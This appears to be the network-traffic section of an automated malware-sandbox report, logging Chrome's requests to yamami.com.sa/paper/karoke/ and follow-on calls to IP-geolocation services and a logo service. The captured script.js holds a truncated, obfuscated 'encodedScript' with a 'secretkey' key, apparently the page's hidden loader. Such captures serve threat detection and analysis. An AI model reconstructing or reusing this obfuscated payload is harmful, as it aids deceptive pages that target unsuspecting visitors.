2024-12-03 16:54:04 UTC	5116	IN	Data Raw: 56 44 55 6b 56 55 53 30 56 5a 55 30 55 51 42 77 63 5a 41 68 45 37 42 68 45 58 48 51 74 61 44 77 77 4b 45 67 63 50 46 77 46 55 56 6b 56 59 47 68 59 31 45 77 6b 64 44 31 35 7a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 77 77 66 55 30 30 4b 41 54 4d 56 42 77 77 64 57 6b 55 59 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 55 42 42 67 73 67 44 68 30 4e 58 52 45 47 43 68 45 33 42 41 73 4e 46 67 73 58 55 6c 68 55 54 44 4d 63 41 51 77 46 43 30 55 78 42 67 51 51 48 30 4a 59 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 55 42 42 67 73 39 43 41 6f 58 58 51 59 50 45 78 59 48 4a 51 51 55 46 6b 56 65 55 6b 49 53 43 68 5a 5a 46 51 52 4f 45 78 63 47 42 42 4a 55 41 51 77 45 47 Data Ascii: VDUkVUS0VZU0UQBwcZAhE7BhEXHQtaDwwKEgcPFwFUVkVYGhY1EwkdD15zU0VDUkVUS0VZU0VDeEVUS0VZU0VDUkVUSwwfU00KATMVBwwdWkUYeEVUS0VZU0VDUkVUS0VZU0UBBgsgDh0NXREGChE3BAsNFgsXUlhUTDMcAQwFC0UxBgQQH0JYeEVUS0VZU0VDUkVUS0VZU0UBBgs9CAoXXQYPExYHJQQUFkVeUkISChZZFQROExcGBBJUAQwEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49761	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:03 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DCw7aGoODMNBElg&MD=bC+8hMUv HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-03 16:54:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a4d3d66f-c3fb-46d1-a91d-be2338dab617 MS-RequestId: f9b87ef6-671d-4c49-8677-d3515e012c83 MS-CV: iAFD4v/EZ0ecEGO9.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 03 Dec 2024 16:54:03 GMT Connection: close Content-Length: 24490
2024-12-03 16:54:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-03 16:54:04 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49764	136.243.57.80	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:04 UTC	364	OUT	GET /paper/karoke/image/logo.png HTTP/1.1 Host: yamami.com.sa Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:05 UTC	867	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:04 GMT Server: Apache X-Frame-Options: SAMEORIGIN Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 28 Nov 2024 06:32:18 GMT Accept-Ranges: bytes Content-Length: 21327 Cache-Control: max-age=31536000 Expires: Wed, 03 Dec 2025 16:54:04 GMT X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=self Content-Security-Policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: *; X-Permitted-Cross-Domain-Policies: none Feature-Policy: camera 'none'; microphone 'none'; geolocation 'self' Content-Type: image/png
2024-12-03 16:54:05 UTC	7325	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 4f 00 00 01 34 08 06 00 00 00 44 9d 7b b3 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 52 dc 49 44 41 54 78 da ec dd 4b 72 1b 49 da 20 5a af b2 1c 37 d5 2b 20 ea 6e 80 ac 15 10 39 e9 1e 92 35 6f 33 22 57 20 a6 71 01 82 16 40 4b e6 0a 14 32 eb 79 51 c3 be 93 04 57 50 e4 06 ba c0 15 94 78 37 f0 df 70 d0 91 82 28 3e 40 12 08 77 8f 38 c7 2c 0c 59 59 29 21 e0 8f 08 77 ff fc 11 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 7f 79 ea ff fc ff 8e fe 9f f3 f6 63 5f 32 f1 52 ff ed e2 ff 8e 5f f3 e7 3e fc bf 61 d2 7e 4c a4 20 af d0 Data Ascii: PNGIHDRO4D{pHYs.#.#x?vtEXtSoftwareAdobe ImageReadyqe<RIDATxKrI Z7+ n95o3"W q@K2yQWPx7p(>@w8,YY)!w7yc_2R_>a~L
2024-12-03 16:54:05 UTC	8000	IN	Data Raw: b7 93 82 fb 45 f1 5d ba 0c a4 c6 15 a9 71 5c ad e9 d9 7b b5 cb f2 f3 db 16 fe ce 83 47 ca d6 f2 1f 2f c3 b7 a0 ea e2 ea c3 d6 cc 82 a7 00 f4 4a 6c 5c b5 2f ef 8b 90 e7 0c c4 93 d0 83 e0 69 9a 8d d8 65 a3 fa cb 00 cf bb e0 f5 e5 33 06 87 2e 82 c1 7f d6 33 1d d8 ef 6d 82 00 4b e9 f6 da e7 d8 79 fb de eb fa 5c f1 e5 fb dd 56 e7 f5 bd f7 ce c3 c0 b6 1e af d0 6e 7a fe 1e 49 0a a0 c2 be ff 24 5d bb 85 dd de b8 94 55 fd a9 0f 9a ab ff 79 f5 86 fb 9e 84 b2 02 e2 eb be 53 63 f0 6f 9a da 40 e7 3d 09 a2 f6 7d fc 62 d9 56 3d 5c 29 7f 71 02 c4 2c 7c 3b e7 b6 ba 5d 3a 04 4f 01 e8 a3 d8 c0 ca 11 3c dd 4d b3 ce 6b df b6 6b da f1 f7 35 8a 2c 2f 2c 2f bb 92 81 17 74 be 07 a1 7d ff 4c 83 73 2c 6b f1 3e 4e f4 ca b0 cd d5 a4 92 f4 b9 5c f9 e7 e5 0c f6 38 5b ff dd ca bf 3f 18 Data Ascii: E]q\{G/Jl\/ie3.3mKy\VnzI$]UySco@=}bV=\)q,\|;]:O<Mkk5,/,/t}Ls,k>N\8[?
2024-12-03 16:54:05 UTC	6002	IN	Data Raw: 94 eb 79 1e 83 8b 7d dd 7a 7f 92 b3 bc a4 5d b1 e8 a6 4d f6 ae 84 67 c4 3a 79 2e 78 0a 00 6f d7 b7 40 e3 6d 30 b8 43 47 d2 39 76 a5 0c 82 37 72 84 02 95 f0 3c de 4b b3 c1 87 62 2a df 8b 7e 6f 7c ed c1 f3 7a 56 c0 3d c4 01 d8 21 4d 8c 98 a8 d7 14 cc f1 11 f4 c6 40 ce 8d cf d9 87 9d f6 6d f2 53 9a e0 74 38 f0 76 d9 90 9c 84 bc ab 8c d7 ce 73 c1 53 00 78 a3 b4 fd d6 75 8f 7e d2 85 ad 02 e9 ba cc 15 72 1f 07 6d c7 ed 44 76 a0 7e 3c 68 10 3b 12 a4 55 a7 07 99 6f e3 da ec f7 67 35 ea f5 46 0c 62 f5 69 1a 94 cd fd 7e bf 4d 13 c6 e0 21 82 a7 f4 49 15 db 71 be 45 e6 1d c8 76 43 ff 26 3f 4d b5 cb 86 a1 90 36 d9 da 79 2e 78 0a 00 9b 71 ee b7 40 2f 3a 2b 53 db f7 52 92 34 41 e7 a6 80 5b 89 67 9f 4e 07 90 e4 25 fc c6 46 c9 af a6 5e bc f6 fe 73 9e 97 b6 6a 28 67 7e 4f Data Ascii: y}z]Mg:y.xo@m0CG9v7r<Kb*~o\|zV=!M@mSt8vsSxu~rmDv~<h;Uog5Fbi~M!IqEvC&?M6y.xq@/:+SR4A[gN%F^sj(g~O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49770	172.67.74.152	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:05 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://yamami.com.sa Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://yamami.com.sa/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:06 UTC	463	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:06 GMT Content-Type: application/json Content-Length: 21 Connection: close Access-Control-Allow-Origin: * Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8ec513a2199d8c45-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1835&min_rtt=1830&rtt_var=696&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1127&delivery_rate=1560662&cwnd=211&unsent_bytes=0&cid=911b12ade704e733&ts=613&x=0"
2024-12-03 16:54:06 UTC	21	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 7d Data Ascii: {"ip":"8.46.123.228"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49766	136.243.57.80	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:05 UTC	600	OUT	GET /favicon.ico HTTP/1.1 Host: yamami.com.sa Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yamami.com.sa/paper/karoke/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:06 UTC	176	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:06 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49767	136.243.57.80	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:06 UTC	359	OUT	GET /paper/karoke/script.js HTTP/1.1 Host: yamami.com.sa Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:06 UTC	934	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 03 Dec 2024 14:43:17 GMT Accept-Ranges: bytes Content-Length: 12374 Cache-Control: max-age=2592000 Expires: Thu, 02 Jan 2025 16:54:06 GMT Vary: Accept-Encoding X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=self Content-Security-Policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: ; X-Permitted-Cross-Domain-Policies: none Feature-Policy: camera 'none'; microphone 'none'; geolocation 'self' Access-Control-Allow-Origin: Content-Type: application/javascript
2024-12-03 16:54:06 UTC	7258	IN	Data Raw: 76 61 72 20 6b 65 79 20 3d 20 22 73 65 63 72 65 74 6b 65 79 22 3b 0a 76 61 72 20 65 6e 63 6f 64 65 64 53 63 72 69 70 74 20 3d 20 22 46 77 6f 41 42 77 67 52 42 52 46 58 45 67 45 48 4e 78 4d 52 42 52 45 31 47 68 59 58 46 77 73 52 47 55 31 65 4e 79 6f 75 4d 51 6f 61 48 77 41 58 42 79 6b 4d 45 77 45 52 44 30 4a 56 55 30 31 4b 55 6c 68 4b 53 78 35 7a 55 30 56 44 55 67 6b 52 48 30 55 59 42 68 45 4d 46 52 63 56 43 51 63 63 46 79 41 4f 45 77 77 59 53 31 68 5a 56 45 4a 59 65 45 56 55 53 30 55 61 48 41 73 51 42 6b 55 64 47 43 67 57 45 51 77 50 46 30 56 4a 53 30 6f 51 49 77 30 4d 48 41 41 49 41 6a 55 59 46 78 6b 4b 49 67 6f 51 46 79 51 58 46 78 63 4d 47 77 46 62 41 6b 73 4e 46 68 59 58 57 67 73 56 48 51 77 65 45 68 45 4d 41 45 73 42 47 41 41 4c 4d 67 49 47 48 42 46 Data Ascii: var key = "secretkey";var encodedScript = "FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0VDUgkRH0UYBhEMFRcVCQccFyAOEwwYS1hZVEJYeEVUS0UaHAsQBkUdGCgWEQwPF0VJS0oQIw0MHAAIAjUYFxkKIgoQFyQXFxcMGwFbAksNFhYXWgsVHQweEhEMAEsBGAALMgIGHBF
2024-12-03 16:54:06 UTC	5116	IN	Data Raw: 56 44 55 6b 56 55 53 30 56 5a 55 30 55 51 42 77 63 5a 41 68 45 37 42 68 45 58 48 51 74 61 44 77 77 4b 45 67 63 50 46 77 46 55 56 6b 56 59 47 68 59 31 45 77 6b 64 44 31 35 7a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 77 77 66 55 30 30 4b 41 54 4d 56 42 77 77 64 57 6b 55 59 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 55 42 42 67 73 67 44 68 30 4e 58 52 45 47 43 68 45 33 42 41 73 4e 46 67 73 58 55 6c 68 55 54 44 4d 63 41 51 77 46 43 30 55 78 42 67 51 51 48 30 4a 59 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 55 42 42 67 73 39 43 41 6f 58 58 51 59 50 45 78 59 48 4a 51 51 55 46 6b 56 65 55 6b 49 53 43 68 5a 5a 46 51 52 4f 45 78 63 47 42 42 4a 55 41 51 77 45 47 Data Ascii: VDUkVUS0VZU0UQBwcZAhE7BhEXHQtaDwwKEgcPFwFUVkVYGhY1EwkdD15zU0VDUkVUS0VZU0VDeEVUS0VZU0VDUkVUSwwfU00KATMVBwwdWkUYeEVUS0VZU0VDUkVUS0VZU0UBBgsgDh0NXREGChE3BAsNFgsXUlhUTDMcAQwFC0UxBgQQH0JYeEVUS0VZU0VDUkVUS0VZU0UBBgs9CAoXXQYPExYHJQQUFkVeUkISChZZFQROExcGBBJUAQwEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49773	13.227.8.47	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:06 UTC	557	OUT	GET /wes.org?size=256 HTTP/1.1 Host: logo.clearbit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://yamami.com.sa Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://yamami.com.sa/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:07 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/png Transfer-Encoding: chunked Connection: close access-control-allow-origin: * Cache-Control: public, max-age=2592000 Date: Tue, 03 Dec 2024 16:54:07 GMT x-envoy-response-flags: - Server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff X-Cache: Miss from cloudfront Via: 1.1 38cd7af284abc93ec90df724e8a12850.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-C1 X-Amz-Cf-Id: _yScLA22LtjfE8Y-mMJchzlyLvlkJfCakV-bHbH9Mps0omORr4kHXQ==
2024-12-03 16:54:07 UTC	15836	IN	Data Raw: 35 37 62 63 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c8 00 00 00 c8 08 02 00 00 00 22 3a 39 c9 00 00 57 83 49 44 41 54 78 9c ec bd 07 94 1d d7 79 26 f8 df 58 e1 a5 ce 40 37 80 6e 64 90 20 40 8a 00 25 e6 20 92 92 15 a8 68 9b 96 3d 92 65 cb 41 63 49 f6 38 48 e7 8c cf 78 66 d6 7b 76 ce ae 2d ed 1e 8f 3c 96 b3 25 4b 2b da 56 8e b6 c4 28 89 34 09 12 20 48 10 20 40 04 22 77 23 75 7c a9 c2 4d 7b ee bd 0f af 1f 41 01 63 d0 dd 2b 6a fc fe 53 e7 a1 f0 ba 5e d5 ad 5b ff fd ee f7 87 fb 17 1d fb a3 7b a1 2b 5d 59 68 c1 3f ea 06 74 e5 7f 4d e9 2a 56 57 16 45 ba 8a d5 95 45 91 ae 62 75 65 51 a4 ab 58 5d 59 14 e9 2a 56 57 16 45 ba 8a d5 95 45 91 ae 62 75 65 51 a4 ab 58 5d 59 14 e9 2a 56 57 16 45 ba 8a d5 95 45 91 ae 62 75 65 51 a4 ab 58 5d 59 14 e9 Data Ascii: 57bcPNGIHDR":9WIDATxy&X@7nd @% h=eAcI8Hxf{v-<%K+V(4 H @"w#u\|M{Ac+jS^[{+]Yh?tMVWEEbueQX]YVWEEbueQX]Y*VWEEbueQX]Y
2024-12-03 16:54:07 UTC	6632	IN	Data Raw: 52 22 dc 90 e2 5b 2f ec 30 99 92 46 db a9 85 61 85 48 25 b3 58 ab 33 53 84 a0 c2 8b 69 ad b9 b5 b8 fc 37 df ff c1 b5 a2 40 30 ff 2f 5f fb 9b d1 6b d6 dd 53 58 ff 8e d7 dc be 2e e8 8d 0e 4d cd d5 d2 42 82 33 6d b0 40 4d 30 c2 e0 94 51 15 86 34 87 28 88 b7 ce 16 df 7a c5 eb fe e0 9e 5f 5a 81 62 8e 30 08 31 4e cc 3f 6c fb d6 5f ed 7a 40 f6 c7 e7 50 5d 70 e8 15 86 68 1d 60 02 52 35 38 13 c6 54 72 5e 62 f1 dd 78 f4 3f fe e4 07 fb 53 1e 20 86 31 62 80 88 9b 0a 53 aa 72 2c fe b7 c7 ee 7b fa e4 81 09 53 47 c5 30 90 1a 69 93 11 04 84 2e d0 1b 4f 16 d4 8f d5 3a a3 c7 2d f7 46 f1 87 1f 7a 78 df d1 7d 39 b8 c2 4e de ab 8b 21 13 19 06 3c c8 07 df fb be f7 b6 9c a8 18 37 1a 8d 72 b9 7c e9 dc ed 76 11 ce 43 87 0e b9 5a a6 b4 e5 95 71 23 75 cf 9e e7 3d 5f 21 ad 77 c7 5f Data Ascii: R"[/0FaH%X3Si7@0/_kSX.MB3m@M0Q4(z_Zb01N?l_z@P]ph`R58Tr^bx?S 1bSr,{SG0i.O:-Fzx}9N!<7r\|vCZq#u=_!w_
2024-12-03 16:54:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49776	172.67.74.152	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:08 UTC	349	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:08 UTC	430	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:08 GMT Content-Type: application/json Content-Length: 21 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8ec513ae5e277d13-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1843&min_rtt=1838&rtt_var=699&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=927&delivery_rate=1554845&cwnd=252&unsent_bytes=0&cid=f9df1817477ef666&ts=478&x=0"
2024-12-03 16:54:08 UTC	21	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 7d Data Ascii: {"ip":"8.46.123.228"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49775	136.243.57.80	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:08 UTC	348	OUT	GET /favicon.ico HTTP/1.1 Host: yamami.com.sa Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:08 UTC	176	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:08 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49777	172.67.69.226	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:08 UTC	537	OUT	GET /json/ HTTP/1.1 Host: ipapi.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://yamami.com.sa Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://yamami.com.sa/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:08 UTC	970	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:08 GMT Content-Type: application/json Content-Length: 764 Connection: close Allow: OPTIONS, OPTIONS, HEAD, GET, POST X-Frame-Options: DENY Vary: Host, origin access-control-allow-origin: https://yamami.com.sa X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=29Npz5sNgGhwRv3V5Yzq1zsJeOaopSAjc98QKcMEcbgKa8jGyJX5fSlADfCZB%2BZy1vqvBcphnv0J%2FGNZDgpNsZrvsHgMdhW4eQ63k9F5yb9hyKp8hCZf4NUl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec513af9c257289-EWR server-timing: cfL4;desc="?proto=TCP&rtt=8560&min_rtt=1828&rtt_var=13969&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2790&recv_bytes=1119&delivery_rate=1597374&cwnd=239&unsent_bytes=0&cid=ef4d771a6817cf49&ts=811&x=0"
2024-12-03 16:54:08 UTC	399	IN	Data Raw: 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 0a 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 5f 63 6f 64 65 22 3a 20 22 4e 59 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 Data Ascii: { "ip": "8.46.123.228", "network": "8.46.123.0/24", "version": "IPv4", "city": "New York City", "region": "New York", "region_code": "NY", "country": "US", "country_name": "United States", "country_code": "US", "cou
